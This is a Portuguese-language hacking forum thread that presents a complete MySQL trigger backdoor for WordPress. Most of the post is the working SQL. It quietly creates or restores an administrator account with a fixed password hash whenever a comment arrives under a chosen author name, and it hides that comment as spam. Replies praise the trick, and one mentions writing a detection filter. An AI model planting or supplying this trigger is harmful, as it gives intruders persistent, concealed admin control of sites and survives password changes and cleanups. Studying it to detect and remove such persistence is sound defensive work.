MySQL Trigger Backdoor

Iniciado por Fvox, 21 de Outubro , 2011, 09:07:18 AM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Fvox

Hi.

Imagina que você tem um blog WordPress, e um belo dia, ele é invadido.
Você atualiza o CMS, atualiza o PHP, atualiza todos os serviços da máquina, troca todas as senhas, remove todos os plugins, sai do host compartilhado e vai para um dedicado e o seu blog continua sendo hackeado.

Citar"Wtf????? O que está acontecendo com o meu site?"

Você pode estar com uma backdoor dentro do seu DBMS. Claro, não é uma backdoor com sockets e tudo mais. Na realidade é uma trigger que adiciona um administrador sempre que um evento acontece.

Como exemplo, segue uma trigger feita pelo ack ack, disparada sempre que há um insert na table wp_comments.

DROP TRIGGER IF EXISTS wordpress;
DELIMITER $$
CREATE TRIGGER wordpress BEFORE INSERT ON wp_comments FOR EACH ROW BEGIN
SET @USER = 'Almroot';
SET @HASH = '$P$BLZ4pYXIwQcGazytSj0r4Xy5BHVlY30'; #The hash stands for 'hacked'.
SET @DATE = '2011-09-24 13:37:00';
IF NEW.comment_author = @USER THEN
SET NEW.comment_post_ID = 0;
SET NEW.comment_approved = 'spam';
SET NEW.comment_agent = '';
SET NEW.comment_author_IP = '::1';
SET NEW.comment_content = '';
SET @ID = (SELECT COUNT(ID) FROM wp_users WHERE user_login = @USER LIMIT 1);
IF @ID = 0 THEN
INSERT INTO wp_users () VALUES (NULL,@USER,@HASH,@USER,NEW.comment_author_email,NEW.comment_author_url,@DATE,'','0',@USER);
SET @ID = (SELECT ID FROM wp_users WHERE user_login = @USER LIMIT 1);
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'first_name', '');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'last_name', '');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'nickname', @USER);
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'description', '');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'rich_editing', 'true');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'comment_shortcuts', 'false');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'admin_color', 'fresh');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'use_ssl', '0');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'show_admin_bar_front', 'true');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'show_admin_bar_admin', 'false');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'aim', '');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'yim', '');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'jabber', '');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'wp_user_level', '10');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'wp_dashboard_quick_press_last_post_id', '3');
ELSE
SET @ID = (SELECT ID FROM wp_users WHERE user_login = @USER LIMIT 1);
UPDATE wp_users SET user_login = @USER, user_pass = @HASH, user_nicename = @USER, user_email = NEW.comment_author_email, user_url = NEW.comment_author_url, user_registered = @DATE, user_status = 0, display_name = @USER WHERE ID = @ID;
UPDATE wp_usermeta SET meta_value = 'a:1:{s:13:"administrator";s:1:"1";}' WHERE meta_key = 'wp_capabilities';
UPDATE wp_usermeta SET meta_value = '10' WHERE meta_key = 'wp_user_level';
UPDATE wp_usermeta SET meta_value = '3' WHERE meta_key = 'wp_dashboard_quick_press_last_post_id';
END IF;
END IF;
END;
$$



Interessante, não?
Quem espera estar sendo invadido por uma trigger dentro da database? =P

Referência: http://unsecurity.com.br/mysql-trigger-backdoor/

[]'s
"Achas que estás caindo na insanidade? Mergulhe."


Magrinho Loko

Muito interessante. Obrigado por compartilhar esse truque. :)
Saudades do antigo Darkers.

Tylër

Fvox, estou tão satisfeito com este conteúdo, que vou pedir mais, hehehe xD
Vou ver se crio um filtro para isto e posto aqui, assim que der.. ;)
Abração!
Simplesmente use...